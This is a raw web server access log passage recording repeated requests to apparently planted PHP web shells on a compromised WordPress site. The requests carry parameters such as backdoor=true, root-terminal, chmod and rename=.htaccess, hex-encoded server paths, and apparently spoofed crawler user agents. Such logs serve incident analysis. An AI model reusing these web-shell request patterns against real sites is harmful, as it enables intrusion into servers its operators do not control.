x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 74.7.227.184 - - [17/Nov/2025:12:27:16 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a732f696e636c756465732f6261636b75706c79 HTTP/2" 200 3143 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 51.75.128.94 - - [17/Nov/2025:12:27:16 +0000] "GET /wp-contentaa/backuply/wp/lyRhDU.php?p= HTTP/1.1" 200 11682 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 74.7.227.184 - - [17/Nov/2025:12:27:18 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f696e636c756465732f6a6366786564732f77702d636f6e74656e74 HTTP/2" 200 3243 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 51.75.128.94 - - [17/Nov/2025:12:27:19 +0000] "GET /wp-contentaa/backuply/wp/lyRhDU.php?p=assets/assets-20251112184145/assets/assets-20251114194704/css/wp©=assets/assets-20251112184145/assets/assets-20251114194704/js/js/upgrade/wp HTTP/1.1" 302 0 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 74.7.227.184 - - [17/Nov/2025:12:27:20 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f696e636c756465732f637373 HTTP/2" 200 3294 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 51.75.128.94 - - [17/Nov/2025:12:27:21 +0000] "GET /wp-contentaa/backuply/wp/lyRhDU.php?p= HTTP/1.1" 200 11697 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 74.7.227.184 - - [17/Nov/2025:12:27:22 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=network&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f696e636c756465732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f637373 HTTP/2" 200 3295 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 113.187.245.177 - - [17/Nov/2025:12:27:23 +0000] "GET /assets/backuply/css/wp/js/includes/upgrade/ HTTP/1.1" 200 628 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 51.75.128.94 - - [17/Nov/2025:12:27:23 +0000] "GET /wp-contentaa/backuply/wp/lyRhDU.php?p=assets/assets-20251112184145/assets/assets-20251114194704/css/wp©=assets/assets-20251112184145/assets/assets-20251114194704/js/js/wp-adminaa/wp-adminaa HTTP/1.1" 302 0 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 14.171.179.62 - - [17/Nov/2025:12:27:24 +0000] "GET /wp-content/themes/twentytwenty/inc/backuply/wp/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1 OPX/2.0.1" 74.7.227.184 - - [17/Nov/2025:12:27:24 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f6373732f6a73 HTTP/2" 200 3308 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 51.75.128.94 - - [17/Nov/2025:12:27:24 +0000] "GET /wp-contentaa/backuply/wp/lyRhDU.php?p= HTTP/1.1" 200 11702 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 74.7.227.184 - - [17/Nov/2025:12:27:26 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a732f696e636c756465732f6373732f6a73 HTTP/2" 200 3323 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.171.202.211 - - [17/Nov/2025:12:27:26 +0000] "GET /assets/backuply-20251107214702/jquery/css/wp/includes/jquery/ HTTP/1.1" 200 640 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0 Config/92.2.7601.2" 51.75.128.94 - - [17/Nov/2025:12:27:26 +0000] "GET /wp-contentaa/backuply/wp/lyRhDU.php?p=assets/assets-20251112184145/assets/assets-20251114194704/css/wp©=assets/assets-20251112184145/assets/assets-20251114194704/themes/twentytwentyfour/wp-contentaa HTTP/1.1" 302 0 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 51.75.128.94 - - [17/Nov/2025:12:27:27 +0000] "GET /wp-contentaa/backuply/wp/lyRhDU.php?p= HTTP/1.1" 200 11721 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 74.7.227.184 - - [17/Nov/2025:12:27:28 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f6a732f696e636c756465732f6373732f706c7567696e732f7770732d686964652d6c6f67696e HTTP/2" 200 3252 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 51.75.128.94 - - [17/Nov/2025:12:27:29 +0000] "GET /wp-contentaa/backuply/wp/lyRhDU.php?p=assets/assets-20251112184145/assets/assets-20251114194704/css/wp©=assets/assets-20251112184145/assets/assets-20251114194704/themes/twentytwentyfour/wp-includes HTTP/1.1" 302 0 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 74.7.227.184 - - [17/Nov/2025:12:27:29 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6a6366786564732f6a6366786564732f77702d636f6e74656e742f77702d61646d696e61612f77702d61646d696e6161 HTTP/2" 200 3130 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 51.75.128.94 - - [17/Nov/2025:12:27:31 +0000] "GET /wp-contentaa/backuply/wp/lyRhDU.php?p= HTTP/1.1" 200 11678 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 14.183.95.90 - - [17/Nov/2025:12:27:14 +0000] "GET /assets/backuply/includes/includes/css/plugins/backuply/ HTTP/1.1" 200 627 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 123.26.96.180 - - [17/Nov/2025:12:27:15 +0000] "GET /assets/backuply-20251107214702/js/js/js/includes/css/ HTTP/1.1" 200 1034 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0" 14.164.221.25 - - [17/Nov/2025:12:27:16 +0000] "GET /assets/css/fonts/js/includes/js/jquery/ HTTP/1.1" 200 619 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.191.10.254 - - [17/Nov/2025:12:27:21 +0000] "GET /wp-content/wp-adminaa/js/includes/jcfxeds/jcfxeds/wp-content/ HTTP/1.1" 200 569 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 EdgiOS/121.2277.107 Mobile/15E148 Safari/605.1.15" 14.226.1.127 - - [17/Nov/2025:12:27:23 +0000] "GET /assets/wp-content/wp-includes/wp-contentaa/js/plugins/backuply/ HTTP/1.1" 200 637 "-" "Mozilla/5.0 (iPad; CPU OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1" 14.182.172.247 - - [17/Nov/2025:12:27:24 +0000] "GET /assets/backuply/themes/twentytwenty/inc/includes/jcfxeds/ HTTP/1.1" 200 1013 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 GLS/100.10.9850.99" 14.191.81.191 - - [17/Nov/2025:12:27:24 +0000] "GET /assets/assets-20251112184145/wp-includes/network/js/includes/includes/ HTTP/1.1" 200 673 "-" "Mozilla/5.0 (Linux; Android 11; moto e20 Build/RONS31.267-94-14) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.64 Mobile Safari/537.36" 113.162.27.212 - - [17/Nov/2025:12:27:24 +0000] "GET /assets/css/wp/includes/includes/jcfxeds/wp-content/ HTTP/1.1" 200 628 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/119.0.2151.65 Version/17.0 Mobile/15E148 Safari/604.1" 14.178.202.231 - - [17/Nov/2025:12:27:25 +0000] "GET /assets/wp/includes/includes/includes/css/jquery/ HTTP/1.1" 200 621 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 14.229.179.123 - - [17/Nov/2025:12:27:26 +0000] "GET /assets/wp-includes/wp-contentaa/js/themes/twentytwentyfour/templates/ HTTP/1.1" 200 640 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 182.11.130.63 - - [17/Nov/2025:12:27:28 +0000] "GET /assets/assets-20251112184145/jquery/css/js/jquery/wp/ HTTP/1.1" 200 656 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 14.239.98.116 - - [17/Nov/2025:12:27:29 +0000] "GET /assets/backuply-20251107214702/includes/themes/twentytwentyfour/assets/fonts/ HTTP/1.1" 200 657 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.169.79.59 - - [17/Nov/2025:12:27:29 +0000] "GET /assets/assets-20251112184145/wp/includes/includes/jcfxeds/wp-includes/ HTTP/1.1" 200 644 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 190.174.174.162 - - [17/Nov/2025:12:27:29 +0000] "GET /assets/wp-includes/network/js/includes/jcfxeds/wp-adminaa/ HTTP/1.1" 200 634 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0" 123.24.51.203 - - [17/Nov/2025:12:27:31 +0000] "GET /wp-content/themes/twentytwenty/inc/includes/js/wp/ HTTP/1.1" 200 652 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0.1 Safari/605.1.15" 74.7.227.184 - - [17/Nov/2025:12:27:31 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a732f696e636c756465732f637373&rename=jquery HTTP/2" 200 3370 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 51.75.128.94 - - [17/Nov/2025:12:27:33 +0000] "GET /wp-contentaa/backuply/wp/lyRhDU.php?p=assets/assets-20251112184145/assets/assets-20251114194704/css/wp-adminaa HTTP/1.1" 302 0 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 14.179.231.233 - - [17/Nov/2025:12:27:33 +0000] "GET /assets/fonts/js/includes/jcfxeds/wp-contentaa/jcfxeds/ HTTP/1.1" 200 656 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 74.7.227.184 - - [17/Nov/2025:12:27:33 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=jcfxeds&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f696e636c756465732f6a636678656473 HTTP/2" 200 3330 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 123.28.12.170 - - [17/Nov/2025:12:27:34 +0000] "GET /assets/wp-content/wp-includes/wp-contentaa/js/plugins/siteseo/ HTTP/1.1" 200 629 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Agency/98.8.8188.80" 51.75.128.94 - - [17/Nov/2025:12:27:35 +0000] "GET /wp-contentaa/backuply/wp/lyRhDU.php?p= HTTP/1.1" 200 11678 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 74.7.227.184 - - [17/Nov/2025:12:27:35 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=plugins&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f637373 HTTP/2" 200 3479 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 51.75.128.94 - - [17/Nov/2025:12:27:36 +0000] "GET /wp-contentaa/backuply/wp/lyRhDU.php?p=assets/assets-20251112184145/assets/assets-20251114194704/css/wp-adminaa©=assets/assets-20251112184145/assets/assets-20251114194704/js/js/wp-adminaa/wp-adminaa HTTP/1.1" 302 0 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 14.161.221.59 - - [17/Nov/2025:12:27:36 +0000] "GET /assets/wp-includes/wp-contentaa/js/network/wp/snCaPhB.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:27:37 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f7770 HTTP/2" 200 3206 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 51.75.128.94 - - [17/Nov/2025:12:27:38 +0000] "GET /wp-contentaa/backuply/wp/lyRhDU.php?p= HTTP/1.1" 200 11678 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 123.28.90.255 - - [17/Nov/2025:12:27:38 +0000] "GET /assets/upgrade/js/includes/includes/jcfxeds/jcfxeds/ HTTP/1.1" 200 627 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Viewer/99.9.9009.89" 74.7.227.184 - - [17/Nov/2025:12:27:38 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f696e636c756465732f6a6366786564732f77702d636f6e74656e742f6a636678656473&rename=wp-adminaa HTTP/2" 200 3257 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 113.176.192.179 - - [17/Nov/2025:12:27:38 +0000] "GET /assets/network/js/includes/includes/css/upgrade/ HTTP/1.1" 200 627 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 14.177.147.44 - - [17/Nov/2025:12:27:39 +0000] "GET /assets/assets-20251112184145/wp/js/js/includes/css/ HTTP/1.1" 200 1037 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 51.75.128.94 - - [17/Nov/2025:12:27:40 +0000] "GET /wp-contentaa/backuply/wp/lyRhDU.php?p=assets/assets-20251112184145/assets/assets-20251114194704/css/wp-adminaa©=assets/assets-20251112184145/assets/assets-20251114194704/themes/twentytwentyfour/wp-contentaa HTTP/1.1" 302 0 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 74.7.227.184 - - [17/Nov/2025:12:27:40 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6e6574776f726b2f696e636c756465732f696e636c756465732f637373&rename=plugins HTTP/2" 200 3327 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 221.132.4.13 - - [17/Nov/2025:12:27:41 +0000] "GET /assets/backuply/wp-adminaa/includes/includes/jcfxeds/wp-includes/ HTTP/1.1" 200 642 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:27:41 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=pagelayer&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f6373732f706c7567696e73 HTTP/2" 200 3362 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 51.75.128.94 - - [17/Nov/2025:12:27:42 +0000] "GET /wp-contentaa/backuply/wp/lyRhDU.php?p= HTTP/1.1" 200 11690 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 182.8.211.119 - - [17/Nov/2025:12:27:43 +0000] "GET /assets/assets-20251112184145/wp/includes/includes/jcfxeds/wp-adminaa/ HTTP/1.1" 200 646 "-" "Mozilla/5.0 (Linux; Android 8.1.0; Moto G (4)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36 PTST/240201.144844" 74.7.227.184 - - [17/Nov/2025:12:27:43 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?create=folder&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f696e636c756465732f706c7567696e732f7369746573656f2f617373657473 HTTP/2" 200 3245 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 51.75.128.94 - - [17/Nov/2025:12:27:44 +0000] "GET /wp-contentaa/backuply/wp/lyRhDU.php?p=assets/assets-20251112184145/assets/assets-20251114194704/css/wp-adminaa©=assets/assets-20251112184145/assets/assets-20251114194704/themes/twentytwentyfour/wp-includes HTTP/1.1" 302 0 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 113.175.255.236 - - [17/Nov/2025:12:27:44 +0000] "GET /assets/plugins/js/includes/plugins/wps-hide-login/languages/ HTTP/1.1" 200 635 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 51.75.128.94 - - [17/Nov/2025:12:27:45 +0000] "GET /wp-contentaa/backuply/wp/lyRhDU.php?p= HTTP/1.1" 200 11677 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 74.7.227.184 - - [17/Nov/2025:12:27:46 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a732f696e636c756465732f696e636c756465732f637373&rename=backuply HTTP/2" 200 3345 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.179.76.166 - - [17/Nov/2025:12:27:47 +0000] "GET /assets/wp-includes/wp-contentaa/js/includes/blocks/wp/ HTTP/1.1" 200 658 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/116.0.1938.79 Version/17.0 Mobile/15E148 Safari/604.1" 51.75.128.94 - - [17/Nov/2025:12:27:47 +0000] "GET /wp-contentaa/backuply/wp/lyRhDU.php?p=assets/assets-20251112184145/assets/assets-20251114194704/css/wp-content HTTP/1.1" 302 0 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 113.172.98.233 - - [17/Nov/2025:12:27:47 +0000] "GET /assets/wp-includes/wp-contentaa/js/includes/jcfxeds/wp-includes/ HTTP/1.1" 200 631 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 74.7.227.184 - - [17/Nov/2025:12:27:47 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6a71756572792f7770 HTTP/2" 200 3323 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.191.79.85 - - [17/Nov/2025:12:27:48 +0000] "GET /assets/assets-20251112184145/js/js/js/includes/includes/ HTTP/1.1" 200 643 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 74.7.227.184 - - [17/Nov/2025:12:27:49 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f757067726164652f7770&rename=.htaccess HTTP/2" 200 3307 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 51.75.128.94 - - [17/Nov/2025:12:27:49 +0000] "GET /wp-contentaa/backuply/wp/lyRhDU.php?p= HTTP/1.1" 200 11677 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 14.191.28.210 - - [17/Nov/2025:12:27:49 +0000] "GET /wp-content/themes/twentytwenty/inc/js/js/js/ HTTP/1.1" 200 629 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0 Config/92.2.7601.2" 113.167.13.86 - - [17/Nov/2025:12:27:50 +0000] "GET /assets/wp-content/wp-adminaa/includes/includes/jcfxeds/wp-content/ HTTP/1.1" 200 635 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 74.7.227.184 - - [17/Nov/2025:12:27:51 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f696e636c756465732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f6a73 HTTP/2" 200 3271 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 51.75.128.94 - - [17/Nov/2025:12:27:51 +0000] "GET /wp-contentaa/backuply/wp/lyRhDU.php?p=assets/assets-20251112184145/assets/assets-20251114194704/css/wp-content©=assets/assets-20251112184145/assets/assets-20251114194704/js/includes/includes/wp-adminaa HTTP/1.1" 302 0 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 113.186.86.215 - - [17/Nov/2025:12:27:52 +0000] "GET /assets/wp/js/js/includes/css/wp/ HTTP/1.1" 200 635 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/119.0.2151.65 Version/17.0 Mobile/15E148 Safari/604.1" 74.7.227.184 - - [17/Nov/2025:12:27:52 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f696e636c756465732f696e636c75646573&rename=jcfxeds HTTP/2" 200 3222 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 51.75.128.94 - - [17/Nov/2025:12:27:52 +0000] "GET /wp-contentaa/backuply/wp/lyRhDU.php?p= HTTP/1.1" 200 11767 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 113.169.68.231 - - [17/Nov/2025:12:27:53 +0000] "GET /assets/assets-20251112184145/js/assets/js/jquery/assets/ HTTP/1.1" 200 647 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0" 74.7.227.184 - - [17/Nov/2025:12:27:54 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?create=folder&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f696e636c756465732f696e636c756465732f6373732f6a71756572792f7770 HTTP/2" 200 3343 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 51.75.128.94 - - [17/Nov/2025:12:27:54 +0000] "GET /wp-contentaa/backuply/wp/lyRhDU.php?p=assets/assets-20251112184145/assets/assets-20251114194704/css/wp-content©=assets/assets-20251112184145/assets/assets-20251114194704/js/includes/jcfxeds/wp-contentaa/jcfxeds HTTP/1.1" 302 0 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 74.7.227.184 - - [17/Nov/2025:12:27:56 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=jquery&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6373732f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f6373732f6a73 HTTP/2" 